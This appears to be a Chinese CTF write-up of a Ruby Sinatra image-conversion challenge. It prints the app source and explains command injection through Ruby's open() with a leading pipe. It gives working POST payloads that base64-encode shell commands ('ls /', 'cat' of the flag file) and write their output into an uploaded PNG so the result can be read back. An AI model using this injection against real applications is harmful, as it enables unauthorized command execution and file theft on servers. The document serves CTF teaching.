文章目錄
- 利用點
- 原始碼
- 程序分析
- Ruby File.open()命令執行
- 完
利用點
- Ruby File.open()命令執行
原始碼
環境的原始碼通過app.rb給出
require 'sinatra'
require 'digest'
require 'base64'
get '/' do
open("./view/index.html", 'r').read()
end
get '/upload' do
open("./view/upload.html", 'r').read()
end
post '/upload' do
unless params[:file] && params[:file][:tempfile] && params[:file][:filename] && params[:file][:filename].split('.')[-1] == 'png'
return "<script>alert('error');location.href='/upload';</script>"
end
begin
filename = Digest::MD5.hexdigest(Time.now.to_i.to_s + params[:file][:filename]) + '.png'
open(filename, 'wb') { |f|
f.write open(params[:file][:tempfile],'r').read()
}
"Upload success, file stored at #{filename}"
rescue
'something wrong'
end
end
get '/convert' do
open("./view/convert.html", 'r').read()
end
post '/convert' do
begin
unless params['file']
return "<script>alert('error');location.href='/convert';</script>"
end
file = params['file']
unless file.index('..') == nil && file.index('/') == nil && file =~ /^(.+)\.png$/
return "<script>alert('dont hack me');</script>"
end
res = open(file, 'r').read()
headers 'Content-Type' => "text/html; charset=utf-8"
"var img = document.createElement(\"img\");\nimg.src= \"data:image/png;base64," + Base64.encode64(res).gsub(/\s*/, '') + "\";\n"
rescue
'something wrong'
end
end
程序分析
Ruby File.open()命令執行
此web app用于將上傳的圖片轉碼為png檔案,upload用于上傳圖片,convert用于轉碼,并將圖片以base64編碼的形式顯示
代碼審計,觀察convert的函式,注意到呼叫了open(),因此可以試試命令執行,將命令寫入一個存在的png檔案,之后讀取它,執行結果就會被base64編碼顯示在頁面上
原理見:
『CTF Tricks』Puby-利用File.open()執行shell命令
抓個包看看,這里傳入引數file完成open函式的傳參

那么首先通過upload上傳一個png圖片

接著使用管道符開頭上傳shell命令,注意file引數過濾了斜杠還有后綴png檢測,并且最重要的是png必須是已經存在的,那么我們可以將命令base64后執行,然后寫入上面上傳的那個png中,反引號內是把傳入的base64值恢復,之后通過反引號執行,將輸出寫入圖片
# ls /
[POST]file=| `echo bHMgLw== | base64 -d` > 563d256cfbf6dce1716dde5cccc587b9.png

讀取該png,內容解碼發現了flag
[POST]file=563d256cfbf6dce1716dde5cccc587b9.png
之后cat讀取就行,一樣的方法
# cat /FLA9_VixNxtSRFfd8IoFlnNvv
[POST]file=|`echo Y2F0IC9GTEE5X1ZpeE54dFNSRmZkOElvRmxuTnZ2 | base64 -d` > 563d256cfbf6dce1716dde5cccc587b9.png
[POST]file=563d256cfbf6dce1716dde5cccc587b9.png

完
歡迎在評論區留言
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/301433.html
標籤:其他
